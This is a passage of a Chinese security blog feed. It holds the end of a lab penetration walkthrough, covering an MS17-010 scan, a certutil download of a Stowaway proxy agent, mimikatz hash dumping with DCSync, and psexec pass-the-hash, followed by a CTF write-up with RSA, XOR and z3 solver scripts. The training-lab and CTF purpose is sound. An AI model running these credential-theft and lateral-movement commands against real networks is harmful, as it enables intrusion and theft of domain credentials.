<p>首先就可以看到</p>
<p><code>netbios://192.168.20.20:137    CYBERSTRIKELAB\CYBERWEB</code></p>
<p>这一行表明目标机器属于 CYBERSTRIKELAB 域，主机名为 CYBERWEB</p>
<p><code>wmi://192.168.20.20:135    wmi:default</code> </p>
<p>支持WMI说明可以远程执行命令，可以考虑横向移动</p>
<p><code>smb://192.168.20.20:445    smb:Windows 8.1/Server2012 R2(6.3.9600):default [SMB1] Windows Server 2012 R2 Standard 9600 [ critical: MS17-010 ]</code></p>
<p>显示存在MS17-010，那么就可以尝试一下了</p>
<p>看来是失败了，那就得继续分析其他信息</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image%2013.png" alt="image.png" /></p>
<p>那就再看看smb有没有开启匿名访问</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image%2014.png" alt="image.png" /></p>
<p>也没有，那再看看30吧</p>
<pre><code class="language-bash">c:\&gt;gogo_windowsxp_386.exe -ev -p - -i 192.168.20.30
gogo_windowsxp_386.exe -ev -p - -i 192.168.20.30
[*] gogo: , 2025-05-20 07:40.09
[*] Current goroutines: 1000, Version Level: 1,Exploit: auto, PortSpray: false , 2025-05-20 07:40.09
[*] Start task 192.168.20.30 ,total ports: 65537 , mod: default , 2025-05-20 07:40.09
[*] too much ports , only show top 100 ports: 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100...... , 2025-05-20 07:40.09
[*] Default Scan is expected to take 264 seconds , 2025-05-20 07:40.09
[+] tcp://192.168.20.30:593          [open] ncacn_http/1.
[+] tcp://192.168.20.30:636          [open]
[+] netbios://192.168.20.30:137         CYBERSTRIKELAB\WIN-7NRTJO59O7N [sharingDC]
[+] wmi://192.168.20.30:135     wmi:default / [wmi] /
[+] tcp://192.168.20.30:389     ldap:guess   [open]
[+] tcp://192.168.20.30:88      kerberos:guess   [open]
[+] tcp://192.168.20.30:464          [open]
[+] tcp://192.168.20.30:3269             [open]
[+] smb://192.168.20.30:445     smb:Windows 7/Server2008 R2(6.1.7600):default   cyberstrikelab.com/WIN-7NRTJO59O7N.cyberstrikelab.com [SMB1] Windows Server 2008 R2 Standard 7600 [ critical: MS17-010 ]
[+] tcp://192.168.20.30:3268             [open]
[+] tcp://192.168.20.30:139          [open] \x83\x00\x00\x01\x8f
[+] tcp://192.168.20.30:9389             [open]
[+] tcp://192.168.20.30:53           [open]
[+] tcp://192.168.20.30:49157            [open] ncacn_http/1.
[+] http://192.168.20.30:47001  Microsoft-HTTPAPI/2.0   microsoft-httpapi    [404] Not Found
[+] tcp://192.168.20.30:49166       socks5   [open] \x05\x00\r\x03\x10\x00\x00\x00\x18\x00\x00\x00\x00 [ high: socks5_unauthorized payloads:path:\x05\x01\x02 ]
[+] icmp://192.168.20.30:icmp            [pong]
[+] wmi://192.168.20.30:135 (oxid)          WIN-7NRTJO59O7N [OXID] 192.168.20.30
[+] tcp://192.168.20.30:49161       socks5   [open] \x05\x00\r\x03\x10\x00\x00\x00\x18\x00\x00\x00\x00 [ high: socks5_unauthorized payloads:path:\x05\x01\x02 ]
[+] tcp://192.168.20.30:49154       socks5   [open] \x05\x00\r\x03\x10\x00\x00\x00\x18\x00\x00\x00\x00 [ high: socks5_unauthorized payloads:path:\x05\x01\x02 ]
[+] tcp://192.168.20.30:49171       socks5   [open] \x05\x00\r\x03\x10\x00\x00\x00\x18\x00\x00\x00\x00 [ high: socks5_unauthorized payloads:path:\x05\x01\x02 ]
[+] tcp://192.168.20.30:49152       socks5   [open] \x05\x00\r\x03\x10\x00\x00\x00\x18\x00\x00\x00\x00 [ high: socks5_unauthorized payloads:path:\x05\x01\x02 ]
[+] tcp://192.168.20.30:49170            [open]
[+] tcp://192.168.20.30:49158            [open]
[+] tcp://192.168.20.30:49153            [open]
[+] tcp://192.168.20.30:49156            [open]
[*] Alived: 26, Total: 65537 , 2025-05-20 07:41.29
[*] Time consuming: 1m19.2646521s , 2025-05-20 07:41.29</code></pre>
<p>看来30是域控，也显示存在MS17-010</p>
<p>那么我们再试试</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image%2015.png" alt="image.png" /></p>
<p>失败了, 前面都成功了, 其实这里不能算失败了, 失败原因是192.168.20.30无法直接访问172.16.233.2这台机器, 如果要成功的话, 需要配置端口转发, 但是比较麻烦, 所以这里就换用admin/smb/ms17_010_command这个模块了</p>
<p>不过这个模块只能一条条执行命令，但是我们也有办法，我们可以传stowaway到192.168.20.10这台机子上，注意上传到web目录下，这样子就在可以运行的同时，也能给30机器提供下载的渠道。</p>
<p>然后再使用命令，让192.168.20.30的机器下载10机器的stowaway然后运行，这样子就完全形成了一条代理链，同时stowaway也内置了shell可以执行命令，非常方便</p>
<p>10的机器  <code>windows_x86_agent -l 9999</code></p>
<p>我的机器  <code>./macos_arm64_admin -c 192.168.10.10:9999</code></p>
<p>连上之后</p>
<pre><code class="language-bash">(node 0) &gt;&gt; listen
[*] BE AWARE! If you choose IPTables Reuse or SOReuse,you MUST CONFIRM that the node you're controlling was started in the corresponding way!
[*] When you choose IPTables Reuse or SOReuse, the node will use the initial config(when node started) to reuse port!
[*] Please choose the mode(1.Normal passive/2.IPTables Reuse/3.SOReuse): 1
[*] Please input the [ip:]&lt;port&gt; : 8899
[*] Waiting for response......
[*] Node is listening on 8899
(node 0) &gt;&gt;</code></pre>
<p>30的机器</p>
<pre><code class="language-powershell">certutil.exe -urlcache -split -f http://192.168.20.10/windows_x86_agent.exe</code></pre>
<pre><code class="language-bash">windows_x86_agent -c 192.168.20.10:8899</code></pre>
<pre><code class="language-bash">[*] Node is listening on 8899
(node 0) &gt;&gt;
[*] New node online! Node id is 1</code></pre>
<p>成功了，那接下来就上传mimikatz来看看能不能获取hash来横向了</p>
<p>先用stowaway传东西</p>
<pre><code class="language-bash">upload /Users/zhujiayi/Desktop/mimikatz-master/x64/mimikatz.exe C:\mimi.exe
upload /Users/zhujiayi/Desktop/mimikatz-master/x64/mimidrv.sys C:\mimidrv.sys
upload /Users/zhujiayi/Desktop/mimikatz-master/x64/mimilib.dll C:\mimilib.dll</code></pre>
<p>然后进入shell来读取hash</p>
<p>如果觉得有乱码影响，可以输入</p>
<p><code>chcp 65001</code></p>
<p>输入<br />
<code>sekurlsa::logonpasswords</code></p>
<pre><code class="language-bash">* Username : WIN-7NRTJO59O7N$
* Domain   : CYBERSTRIKELAB
* NTLM     : 2223da94adc1e7af916b916e0c41f078
* SHA1     : 5ea93cbcf9aaeaa9fec8e352a177f469425202be</code></pre>
<p>这是当前用户的哈希,显然,这个不能用于我们的横向移动,因为权限太低了,所以我们需要输入</p>
<p><code>lsadump::dcsync /domain:cyberstrikelab.com /all</code></p>
<p>提取整个域的所有账户哈希</p>
<p>找到其中高权限的用户:</p>
<pre><code class="language-bash">** SAM ACCOUNT **

SAM Username         : Administrator
User Account Control : 00000200 ( NORMAL_ACCOUNT )
Object Security ID   : S-1-5-21-3614065708-1162526928-2578637-500
Object Relative ID   : 500

Credentials:
  Hash NTLM: 94bd5248e87cb7f2f9b871d40c903927

Object RDN           : WIN-7NRTJO59O7N
</code></pre>
<p>找到Administrator的hash了</p>
<pre><code class="language-bash">psexec CYBERSTRIKELAB/Administrator@192.168.20.20 -hashes :94bd5248e87cb7f2f9b871d40c903927</code></pre>
<p>使用psexec进行横向移动</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image%2016.png" alt="image.png" /></p>
<p>成功拿到shell</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image%2017.png" alt="image.png" /></p>
<p>完结🎉</p>]]></description>
    <pubDate>Thu, 29 May 2025 15:06:30 +0800</pubDate>
    <dc:creator>YD233</dc:creator>
    <guid>http://yd233.top/?post=33</guid>
</item>
<item>
    <title>2025御网杯WP 线上赛(web,misc,crypto全解，其他部分解)</title>
    <link>http://yd233.top/?post=32</link>
    <description><![CDATA[<h3>被折叠的显影图纸</h3>
<p>010直接搜flag就出了</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20250511110413996.png" alt="image-20250511110413996" /></p>
<h3>草甸方阵的密语</h3>
<p>先rot找到含有小写flag的</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20250511091840317.png" alt="image-20250511091840317" /></p>
<p>栅栏直接出</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20250511091832954.png" alt="image-20250511091832954" /></p>
<h3>光隙中的寄生密钥</h3>
<p>图片出压缩包，爆破出密码是9864</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20250511102259540.png" alt="image-20250511102259540" /></p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20250511102406266.png" alt="image-20250511102406266" /></p>
<h3>套娃</h3>
<p>xlsx改成zip，然后解压txt出来再改成docx<br />
<img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20250511141128438.png" alt="image-20250511141128438" /><br />
隐藏字符复制粘贴出来就有了<br />
flag{HNCTFDKKBKODtK}</p>
<h3>babyrsa</h3>
<p>直接秒了，pq接近</p>
<pre><code class="language-python">from math import isqrt
from Crypto.Util.number import long_to_bytes

N = int("12194420073815392880989031611545296854145241675320130314821394843436947373331080911787176737202940676809674543138807024739454432089096794532016797246441325729856528664071322968428804098069997196490382286126389331179054971927655320978298979794245379000336635795490242027519669217784433367021578247340154647762800402140321022659272383087544476178802025951768015423972182045405466448431557625201012332239774962902750073900383993300146193300485117217319794356652729502100167668439007925004769118070105324664379141623816256895933959211381114172778535296409639317535751005960540737044457986793503218555306862743329296169569")
e = 65537
c = int("4504811333111877209539001665516391567038109992884271089537302226304395434343112574404626060854962818378560852067621253927330725244984869198505556722509058098660083054715146670767687120587049288861063202617507262871279819211231233198070574538845161629806932541832207041112786336441975087351873537350203469642198999219863581040927505152110051313011073115724502567261524181865883874517555848163026240201856207626237859665607255740790404039098444452158216907752375078054615802613066229766343714317550472079224694798552886759103668349270682843916307652213810947814618810706997339302734827571635179684652559512873381672063")

a = isqrt(N)
if a * a &lt; N:
    a += 1
p = q = None
for i in range(0, 2000):
    x2 = a*a - N
    b = isqrt(x2)
    if b*b == x2:
        p = a + b
        q = a - b
        print("Found difference", i)
        break
    a += 1

phi = (p-1)*(q-1)
d = pow(e, -1, phi)
m = pow(c, d, N)
flag = long_to_bytes(m)
print(flag)</code></pre>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20250511141322026.png" alt="image-20250511141322026" /></p>
<p>flag{5c9c885c361541e0b261f58b61db8cec}</p>
<h3>cry_rsa</h3>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20250511091457464.png" alt="image-20250511091457464" /></p>
<pre><code class="language-python">p = 473398607161
q = 4511491
e = 19
phi_n = (p - 1) * (q - 1)
d = pow(e, -1, phi_n)
print(f"d = {d}")
flag_value = d + 10
print(f"flag_value = {flag_value}")</code></pre>
<p>flag包裹即可</p>
<h3>easy-签到题</h3>
<p>丢进cyberchef直接出</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20250511091922366.png" alt="image-20250511091922366" /></p>
<h3>easymisc</h3>
<p>直接秒了<br />
<img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20250511142019449.png" alt="image-20250511142019449" /></p>
<p>flag{HNCTFDSnQsL1DPzFn}</p>
<h3>easyweb</h3>
<p>没有回显的命令执行<br />
直接输出到vps就是了</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20250511105019093.png" alt="image-20250511105019093" /></p>
<h3>ez_base</h3>
<p>垃圾邮件加密<br />
得到文本放进<a href="https://www.spammimic.com/decode.cgi">spammimic - decoded</a>解码<br />
再放进cyberchef解码</p>
<p>![image-20250511144003067](../../../Library/Application Support/typora-user-images/image-20250511144003067.png)</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20250511144016554.png" alt="image-20250511144016554" /></p>
<h3>ez_js</h3>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20250511141427372.png" alt="image-20250511141427372" /><br />
htm文件里面直接有</p>
<p>f1ag改成flag就行了</p>
<h3>ez_math</h3>
<p>先解pyinstaller成pyc</p>
<p>Enc.pyc无法一键解码成py</p>
<p>于是解出字节码然后给ai</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20250511112426829.png" alt="image-20250511112426829" /></p>
<p>还原出来了</p>
<pre><code class="language-python">inputFile = "eqEnc7"
outputFile = "eq.dec"
key = "eq verySimple"

with open(inputFile, "rb") as f:
    data = f.read()

dec = []

for index, item in enumerate(data):
    dec.append(item ^ ord(key[index % len(key)]))

with open(outputFile, "wb") as f2:
    f2.write(bytes(dec))
</code></pre>
<p>解密，再运行一遍就是了</p>
<pre><code class="language-python">inputFile = "eqEnc7"
outputFile = "eq.dec"
key = "eq verySimple"

with open(inputFile, "rb") as f:
    data = f.read()

dec = []

for index, item in enumerate(data):
    dec.append(item ^ ord(key[index % len(key)]))

with open(outputFile, "wb") as f2:
    f2.write(bytes(dec))</code></pre>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20250511112550979.png" alt="image-20250511112550979" /></p>
<p>z3求解即可</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20250511113221520.png" alt="image-20250511113221520" /></p>
<p>有些人可能要运行十分钟以上</p>
<pre><code class="language-python">from z3 import *

x = [BitVec(f'x{i}', 8) for i in range(38)]
solver = Solver()

for xi in x:
    solver.add(xi &gt;= 32, xi &lt;= 126)

solver.add(-4 * (x[10] * x[13]) - 9 * (x[10] * x[8]) - 4 * (x[12] * x[15]) - 5 * (x[12] * x[32]) - 4 * (x[12] * x[4]) + 6 * x[12] - x[14] * x[27] + 5 * (x[15] * x[34]) + 7 * (x[16] * x[3]) + 2 * (x[18] * x[34]) - 6 * (x[23] * x[34]) + 6 * (x[24] * x[34]) + 8 * (x[25] * x[8]) - 4 * (x[29] * x[7]) - x[31] * x[5] + 47034 == 0)
solver.add(9 * (x[0] * x[2]) - 2 * (x[10] * x[20]) + 10 * (x[13] * x[16]) + x[13] * x[32] - 2 * (x[24] * x[37]) - 2 * (x[3] * x[31]) - 7 * (x[31] * x[35]) + 10 * (x[31] * x[8]) + 3 * (x[33] * x[8]) - 6 * (x[6] * x[8]) - 175892 == 0)
solver.add(4 * (x[13] * x[19]) + 2 * (x[15] * x[29]) - 2 * (x[20] * x[22]) - 9 * (x[25] * x[9]) - 3 * (x[26] * x[30]) - x[28] * x[3] - x[30] * x[31] - 3 * (x[31] * x[9]) - 5 * (x[33] * x[8]) + 127013 == 0)
solver.add(8 * (x[10] * x[7]) - 5 * (x[13] * x[37]) + 7 * (x[13] * x[5]) + 5 * (x[14] * x[2]) + 3 * (x[17] * x[4]) + 8 * (x[18] * x[35]) + 2 * x[19] * x[19] + 7 * (x[23] * x[7]) + x[24] * x[25] + 6 * (x[28] * x[31]) + 4 * (x[31] * x[5]) + 4 * (x[31] * x[8]) - 2 * (x[32] * x[9]) - 2 * (x[33] * x[36]) + 7 * (x[33] * x[7]) - 4 * (x[5] * x[7]) - 200857 == 0)
solver.add(5 * x[0] * x[0] - x[0] * x[7] - 8 * (x[11] * x[5]) + 10 * (x[13] * x[23]) - 6 * (x[14] * x[29]) + 2 * (x[16] * x[31]) + 8 * (x[21] * x[22]) - 5 * (x[29] * x[30]) - 4 * (x[29] * x[32]) - 6 * x[9] - 104088 == 0)
solver.add(9 * (x[10] * x[18]) + 3 * (x[10] * x[23]) + 6 * (x[13] * x[16]) - 10 * (x[14] * x[15]) - 6 * (x[18] * x[32]) - 4 * (x[20] * x[5]) + x[22] * x[29] - 8 * (x[23] * x[31]) + 7 * (x[28] * x[8]) - x[29] * x[29] - x[3] * x[9] - 3 * (x[31] * x[36]) - 87766 == 0)
solver.add(3 * x[11] * x[11] - x[11] * x[19] - 10 * (x[15] * x[20]) - 5 * (x[18] * x[6]) + 8 * x[18] + 9 * (x[21] * x[4]) - 10 * (x[22] * x[32]) - 9 * x[23] * x[23] - 3 * (x[23] * x[26]) - 4 * x[28] * x[28] - 3 * (x[28] * x[33]) + 8 * x[30] - 6 * x[37] * x[37] - 7 * (x[37] * x[6]) - 10 * (x[7] * x[8]) + 325935 == 0)
solver.add(-4 * (x[10] * x[12]) + 5 * (x[10] * x[2]) - 2 * (x[10] * x[5]) - 8 * (x[10] * x[8]) - 4 * (x[13] * x[19]) + 9 * (x[17] * x[22]) - 2 * (x[20] * x[28]) - 5 * (x[21] * x[37]) - 7 * (x[25] * x[4]) - x[26] * x[31] - 10 * (x[27] * x[28]) + x[28] * x[28] - 9 * (x[3] * x[7]) - 8 * (x[30] * x[32]) - 10 * (x[31] * x[32]) + 4 * (x[31] * x[33]) - 10 * (x[33] * x[5]) + x[35] * x[8] + 10 * (x[37] * x[4]) - 7 * x[37] + 230954 == 0)
solver.add(-6 * (x[0] * x[10]) - 2 * x[0] - 3 * (x[1] * x[10]) + 2 * (x[1] * x[35]) + 2 * (x[10] * x[23]) - 5 * (x[13] * x[34]) - 10 * (x[15] * x[19]) - 7 * (x[15] * x[29]) + 9 * (x[19] * x[24]) + 2 * (x[19] * x[29]) - 3 * (x[19] * x[8]) - 2 * (x[2] * x[20]) + 6 * (x[2] * x[26]) - 9 * (x[2] * x[9]) - 10 * (x[22] * x[34]) + 4 * x[25] * x[25] - 7 * (x[26] * x[6]) + 7 * (x[3] * x[32]) + 2 * x[3] + 4 * (x[5] * x[6]) + 236693 == 0)
solver.add(-10 * (x[0] * x[10]) + 9 * (x[0] * x[6]) + 8 * (x[10] * x[15]) - 5 * (x[12] * x[18]) - 9 * (x[15] * x[20]) + 7 * (x[16] * x[34]) + 4 * (x[17] * x[18]) + 6 * (x[17] * x[37]) - 2 * x[17] + 4 * (x[2] * x[27]) - 5 * (x[2] * x[36]) - 7 * (x[20] * x[5]) + 2 * (x[22] * x[25]) - 5 * (x[3] * x[36]) - x[32] * x[37] - x[5] * x[7] - 15841 == 0)
solver.add(4 * (x[0] * x[37]) - 8 * (x[1] * x[32]) - 8 * (x[10] * x[14]) + 10 * (x[11] * x[20]) - 4 * (x[12] * x[2]) + 9 * (x[13] * x[3]) - 8 * (x[13] * x[37]) - x[14] * x[25] - 3 * (x[15] * x[8]) + 3 * (x[18] * x[29]) + 6 * (x[21] * x[30]) + 8 * (x[26] * x[33]) + 2 * (x[26] * x[9]) + 8 * (x[27] * x[34]) - 8 * (x[31] * x[35]) - 6 * (x[31] * x[7]) - 5 * (x[32] * x[35]) + 2 * (x[35] * x[4]) - 83831 == 0)
solver.add(-7 * (x[0] * x[4]) + 3 * x[10] * x[10] - 4 * (x[10] * x[25]) + 3 * (x[13] * x[2]) - 5 * (x[14] * x[23]) + 9 * (x[15] * x[22]) - 8 * (x[16] * x[18]) + 8 * (x[16] * x[33]) + 4 * (x[17] * x[20]) - 7 * (x[17] * x[21]) + 4 * (x[17] * x[5]) - x[18] * x[32] - 2 * (x[19] * x[22]) + 8 * (x[23] * x[29]) + 5 * (x[23] * x[34]) - 44148 == 0)
solver.add(-4 * (x[1] * x[3]) - 6 * (x[10] * x[23]) - x[11] * x[4] + 3 * (x[12] * x[20]) - 9 * (x[12] * x[4]) + 5 * (x[15] * x[29]) - 9 * (x[17] * x[24]) + 4 * (x[18] * x[24]) - 10 * (x[2] * x[23]) - 5 * (x[21] * x[36]) - 5 * (x[22] * x[24]) + 10 * (x[24] * x[30]) + 5 * (x[25] * x[34]) + 9 * (x[33] * x[37]) + 160533 == 0)
solver.add(10 * (x[0] * x[31]) - 8 * x[10] * x[10] + 7 * (x[10] * x[20]) - 5 * x[13] * x[13] - 8 * (x[16] * x[37]) + 9 * (x[19] * x[22]) - 10 * (x[25] * x[35]) - 6 * (x[27] * x[35]) + 6 * x[31] * x[31] + 3 * (x[33] * x[9]) - 5 * (x[5] * x[9]) + x[5] + 108890 == 0)
solver.add(-8 * (x[0] * x[9]) + 2 * (x[1] * x[17]) - x[10] * x[18] - 10 * (x[12] * x[14]) - 5 * (x[12] * x[16]) - x[13] * x[21] - 7 * (x[13] * x[32]) - 2 * (x[16] * x[33]) + 8 * (x[17] * x[34]) + 9 * (x[17] * x[37]) + x[2] * x[30] - 3 * (x[20] * x[22]) - 3 * (x[22] * x[28]) + 5 * (x[26] * x[32]) + 10 * (x[26] * x[9]) - 6 * x[27] + 10 * (x[34] * x[37]) + 6 * x[35] * x[35] + 7 * (x[5] * x[6]) - 148901 == 0)
solver.add(2 * (x[13] * x[17]) - 9 * x[13] + 3 * (x[14] * x[35]) + 6 * (x[15] * x[30]) + 8 * (x[16] * x[35]) - 4 * (x[17] * x[36]) + 6 * (x[22] * x[28]) + 9 * (x[23] * x[30]) - x[23] * x[9] + 2 * (x[24] * x[7]) - 7 * (x[26] * x[27]) - 9 * (x[3] * x[36]) + 9 * x[5] - 87239 == 0)
solver.add(9 * x[0] - x[15] * x[22] + 4 * (x[2] * x[7]) - 6 * (x[20] * x[3]) + 4 * (x[3] * x[30]) + 9 * (x[31] * x[7]) - 7 * (x[34] * x[35]) - x[34] * x[4] + 20054 == 0)
solver.add(6 * (x[1] * x[14]) - 7 * (x[10] * x[7]) - 2 * (x[10] * x[9]) + 7 * (x[11] * x[25]) + 2 * (x[14] * x[3]) - 8 * (x[14] * x[6]) - 8 * (x[15] * x[4]) + 10 * (x[16] * x[36]) - 6 * (x[20] * x[26]) - 10 * (x[22] * x[23]) + 9 * (x[22] * x[32]) + 5 * (x[23] * x[28]) + 10 * (x[23] * x[31]) - 8 * (x[24] * x[28]) - 4 * (x[26] * x[37]) + 2 * (x[27] * x[36]) - 10 * (x[32] * x[6]) + 51831 == 0)
solver.add(7 * (x[10] * x[36]) - 4 * (x[13] * x[14]) - 5 * (x[13] * x[19]) + 7 * (x[13] * x[36]) + 10 * (x[14] * x[31]) - 7 * (x[15] * x[29]) - 8 * (x[16] * x[3]) + 7 * (x[17] * x[8]) + 5 * (x[17] * x[9]) + 6 * (x[19] * x[29]) - 8 * (x[2] * x[20]) - 9 * (x[2] * x[5]) + 7 * (x[20] * x[32]) + 8 * (x[20] * x[33]) - 4 * (x[20] * x[8]) + 3 * (x[34] * x[7]) + 21840 == 0)
solver.add(-4 * (x[1] * x[4]) + 10 * (x[1] * x[9]) + 6 * x[14] * x[14] + 7 * (x[14] * x[37]) - x[15] * x[25] - 6 * (x[16] * x[20]) - 3 * (x[19] * x[30]) - 6 * (x[19] * x[8]) - 6 * (x[31] * x[34]) - 7 * (x[32] * x[4]) - 3 * (x[32] * x[9]) - 7 * (x[35] * x[9]) - 2 * (x[36] * x[8]) + 145874 == 0)
solver.add(-7 * (x[0] * x[19]) - 5 * (x[1] * x[35]) - 6 * (x[15] * x[23]) - 4 * (x[19] * x[24]) - x[20] * x[28] + 9 * (x[20] * x[33]) + 9 * (x[22] * x[24]) - 4 * (x[22] * x[25]) + 10 * (x[3] * x[36]) + 5 * (x[34] * x[6]) - 6 * (x[36] * x[37]) + x[37] * x[37] + 64330 == 0)
solver.add(3 * (x[0] * x[35]) - 2 * (x[10] * x[11]) - 8 * (x[11] * x[16]) + 5 * (x[11] * x[25]) + 3 * (x[11] * x[26]) + 8 * (x[11] * x[34]) - 8 * (x[11] * x[6]) - 9 * (x[12] * x[13]) - 7 * (x[14] * x[23]) + 2 * (x[15] * x[19]) - 9 * (x[15] * x[20]) + 7 * (x[16] * x[2]) - 9 * (x[18] * x[30]) + 4 * (x[18] * x[6]) + 7 * (x[19] * x[32]) + 4 * (x[19] * x[37]) + 4 * x[22] * x[22] - 10 * (x[22] * x[4]) - x[24] * x[7] + 5 * (x[25] * x[5]) - 10 * (x[25] * x[7]) + 4 * x[8] * x[8] - 7487 == 0)
solver.add(-2 * (x[0] * x[13]) - 10 * (x[1] * x[36]) - 4 * (x[16] * x[4]) - 6 * (x[16] * x[9]) - 5 * (x[22] * x[7]) - 3 * (x[23] * x[31]) - 6 * (x[28] * x[9]) - 5 * (x[33] * x[35]) + 8 * x[9] + 302002 == 0)
solver.add(-9 * (x[0] * x[17]) + 3 * (x[11] * x[17]) - 7 * (x[11] * x[3]) + 6 * (x[11] * x[9]) - 9 * (x[12] * x[21]) - x[13] * x[35] + 2 * (x[14] * x[2]) + 7 * (x[14] * x[35]) - 9 * (x[18] * x[26]) - 8 * (x[19] * x[24]) - 2 * (x[19] * x[27]) + 8 * (x[2] * x[3]) - 10 * (x[21] * x[5]) - 3 * (x[22] * x[7]) - 7 * (x[29] * x[3]) + x[30] * x[31] - 7 * (x[6] * x[8]) + 260271 == 0)
solver.add(5 * (x[1] * x[16]) - 8 * (x[1] * x[30]) - 2 * (x[10] * x[28]) + 4 * (x[10] * x[29]) + 10 * (x[13] * x[20]) - 4 * (x[15] * x[23]) - 2 * (x[18] * x[22]) + 3 * (x[19] * x[28]) + 9 * (x[2] * x[21]) + 3 * (x[2] * x[9]) - 9 * (x[22] * x[3]) - 4 * (x[22] * x[4]) - 6 * (x[24] * x[34]) - 8 * (x[25] * x[35]) + x[25] * x[9] - 4 * (x[27] * x[9]) + 5 * (x[29] * x[33]) - 6 * (x[29] * x[8]) - 5 * (x[30] * x[8]) - 8 * (x[31] * x[4]) - 8 * (x[33] * x[36]) + 170075 == 0)
solver.add(-5 * (x[0] * x[36]) + 7 * (x[1] * x[10]) - 10 * (x[13] * x[22]) - 3 * (x[13] * x[8]) - 3 * (x[14] * x[21]) + 6 * (x[14] * x[28]) - 5 * (x[14] * x[29]) - 8 * (x[14] * x[32]) + x[18] * x[32] + 9 * (x[18] * x[35]) - x[19] * x[22] - x[19] * x[31] - 8 * (x[2] * x[3]) - 3 * (x[21] * x[33]) + 3 * x[22] * x[22] + 2 * (x[23] * x[34]) - 10 * (x[26] * x[35]) + 5 * (x[29] * x[35]) + 3 * x[31] * x[31] + 6 * (x[34] * x[4]) + 89886 == 0)
solver.add(6 * (x[10] * x[24]) + 5 * (x[12] * x[26]) + 8 * (x[13] * x[27]) + x[16] * x[29] + x[17] * x[31] - 7 * (x[18] * x[29]) + 8 * x[18] + 2 * (x[20] * x[34]) + 10 * (x[21] * x[22]) - 4 * (x[22] * x[37]) - 6 * (x[24] * x[28]) + 6 * (x[24] * x[29]) + 6 * (x[25] * x[32]) + 10 * (x[27] * x[3]) + 9 * (x[28] * x[6]) + x[31] * x[4] - 278257 == 0)
solver.add(2 * (x[11] * x[15]) + 6 * (x[14] * x[29]) + 4 * (x[14] * x[3]) + 7 * (x[17] * x[18]) - 5 * x[2] * x[2] + 2 * (x[21] * x[22]) + 3 * (x[23] * x[29]) + 7 * x[23] + 7 * (x[3] * x[4]) - 8 * (x[31] * x[36]) - 10 * (x[32] * x[8]) - 91469 == 0)
solver.add(-9 * (x[0] * x[7]) - 5 * (x[1] * x[35]) - x[12] * x[4] + 2 * (x[17] * x[24]) + 2 * (x[21] * x[5]) + x[24] * x[33] - 4 * (x[26] * x[33]) - 3 * (x[27] * x[31]) + 5 * (x[29] * x[3]) - 4 * (x[35] * x[6]) + 54481 == 0)
solver.add(2 * (x[10] * x[27]) - 10 * (x[10] * x[3]) + 6 * (x[12] * x[3]) + 9 * (x[12] * x[4]) - 9 * (x[15] * x[8]) + 10 * (x[17] * x[27]) - 8 * (x[18] * x[35]) + 9 * (x[2] * x[32]) - 8 * (x[20] * x[5]) - 5 * x[20] - 2 * (x[24] * x[8]) - 8 * (x[32] * x[5]) - x[35] * x[35] + 50647 == 0)
solver.add(8 * (x[0] * x[19]) - 3 * (x[10] * x[17]) + 7 * (x[10] * x[31]) - 2 * (x[16] * x[20]) - 10 * (x[2] * x[25]) - x[20] * x[29] - 5 * (x[20] * x[3]) + 2 * (x[23] * x[31]) + x[27] * x[31] + 3 * (x[27] * x[32]) + 8 * (x[28] * x[35]) - 6 * (x[28] * x[6]) - 4 * x[30] * x[30] - 5 * (x[36] * x[9]) + 42819 == 0)
solver.add(-3 * (x[10] * x[19]) - x[10] * x[21] + 3 * (x[17] * x[3]) + 8 * (x[18] * x[5]) + 2 * (x[21] * x[31]) + 3 * (x[24] * x[36]) + 2 * (x[29] * x[34]) - 2 * (x[30] * x[32]) + 9 * (x[35] * x[5]) - 4 * (x[37] * x[5]) - 31908 == 0)
solver.add(-6 * (x[0] * x[31]) - 9 * (x[1] * x[20]) + 9 * (x[1] * x[6]) + 3 * (x[11] * x[13]) - 5 * (x[11] * x[36]) + 4 * (x[14] * x[20]) + 5 * (x[15] * x[26]) + x[24] * x[6] + 4 * (x[27] * x[31]) - 2 * (x[29] * x[7]) - 10 * (x[3] * x[4]) + 7 * (x[35] * x[36]) + 105594 == 0)
solver.add(8 * (x[12] * x[15]) + 2 * (x[12] * x[23]) + 4 * x[13] * x[13] + 3 * (x[13] * x[6]) - x[14] * x[30] - 2 * (x[16] * x[19]) - x[16] * x[25] - 4 * (x[18] * x[30]) + 10 * (x[19] * x[37]) + 10 * (x[2] * x[30]) + 10 * (x[21] * x[37]) - 8 * (x[21] * x[7]) + 5 * (x[24] * x[33]) - x[27] * x[7] - 10 * (x[27] * x[9]) + x[33] * x[34] - 259570 == 0)
